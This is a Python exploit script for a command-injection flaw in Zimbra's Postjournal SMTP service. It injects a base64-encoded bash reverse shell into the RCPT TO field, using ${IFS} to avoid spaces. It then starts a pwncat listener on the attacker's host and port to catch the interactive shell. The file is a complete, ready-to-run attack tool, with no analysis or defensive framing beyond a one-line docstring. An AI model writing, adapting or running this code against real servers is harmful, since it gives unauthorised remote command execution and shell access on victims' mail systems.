exploit.py

import time
import base64
import socket
import threading
import pwncat.manager
import rich_click as click

from pwn import *
from faker import Faker


class SMTPExploit:
    def __init__(self, target, port, lhost, lport):
        self.target = target
        self.port = port
        self.lhost = lhost
        self.lport = lport
        self.mail_from = self.generate_random_email()
        self.rcpt_to = self.generate_random_email()
        self.sock = None
        self.command = self.generate_base64_revshell()

    def generate_random_email(self):
        fake = Faker()
        return fake.email()

    def generate_base64_revshell(self):
        revshell = f"/bin/bash -i 5<> /dev/tcp/{self.lhost}/{self.lport} 0<&5 1>&5 2>&5"
        base64_revshell = base64.b64encode(revshell.encode()).decode()

        payload = f"echo${{IFS}}{base64_revshell}|base64${{IFS}}-d|bash"
        return payload

    def generate_injected_rcpt_to(self):
        return f'"aabbb$({self.command})@{self.rcpt_to}"'

    def connect(self):
        try:
            self.sock = remote(self.target, self.port)
            banner = self.sock.recv(4096)
            log.info(f"Banner received: {banner.decode().strip()}")
        except Exception as e:
            log.error(f"Failed to connect to SMTP server: {e}")
            self.clean_exit()

    def send_smtp_command(self, command):
        try:
            self.sock.sendline(command.encode())
            response = self.sock.recv(4096).decode().strip()
            log.info(f"Response: {response}")
            return response
        except EOFError:
            log.error("Connection closed by the server.")
            self.clean_exit()
        except Exception as e:
            log.error(f"Error sending command '{command}': {e}")
            self.clean_exit()

    def clean_exit(self):
        """Close the socket and stop the listener in case of failure"""
        if self.sock:
            self.sock.close()
            log.info("Connection closed")
        listener.listener_event.set()
        log.error("Exploitation failed, exiting.")
        exit(1)

    def run(self):
        log.info(f"Connecting to SMTP server {self.target}:{self.port}...")
        self.connect()

        self.send_smtp_command("EHLO localhost")

        self.send_smtp_command(f"MAIL FROM: <{self.mail_from}>")

        injected_rcpt_to = self.generate_injected_rcpt_to()
        self.send_smtp_command(f"RCPT TO: <{injected_rcpt_to}>")

        self.send_smtp_command("DATA")

        self.sock.sendline("Test message".encode())
        self.sock.sendline(".".encode())
        data_response = self.sock.recv(4096).decode().strip()
        log.info(f"Response after data: {data_response}")

        self.send_smtp_command("QUIT")

        self.sock.close()
        log.success("Exploitation completed successfully!")


class Listener:
    def __init__(self, bind_host, bind_port):
        self.bind_host = bind_host
        self.bind_port = bind_port

    def start_listener(self):
        try:
            with socket.create_server((self.bind_host, self.bind_port)) as listener:
                log.info(f"Listening on {self.bind_host}:{self.bind_port}...")
                listener.settimeout(1)
                while True:
                    try:
                        client, addr = listener.accept()
                        log.success(f"Received connection from {addr[0]}:{addr[1]}")
                        with pwncat.manager.Manager() as manager:
                            manager.create_session(
                                platform="linux", protocol="socket", client=client
                            )
                            manager.interactive()
                        break
                    except socket.timeout:
                        continue
        except Exception as e:
            log.error(f"Failed to start listener: {e}")


@click.command()
@click.argument("target")
@click.option(
    "-p",
    "--port",
    type=int,
    default=25,
    show_default=True,
    help="SMTP port (default: 25)",
)
@click.option(
    "-lh",
    "--lhost",
    default="0.0.0.0",
    show_default=True,
    help="Local host for listener",
)
@click.option(
    "-lp",
    "--lport",
    type=int,
    default=4444,
    show_default=True,
    help="Local port for listener",
)
def main(target, port, lhost, lport):
    """Exploit the Zimbra Postjournal SMTP vulnerability to execute arbitrary commands."""
    listener = Listener(lhost, lport)
    listener_thread = threading.Thread(target=listener.start_listener)
    listener_thread.start()

    time.sleep(1)

    exploit = SMTPExploit(target, port, lhost, lport)
    try:
        exploit.run()
    except Exception as e:
        log.error(f"An error occurred during the exploit: {e}")

    listener_thread.join()


if __name__ == "__main__":
    main()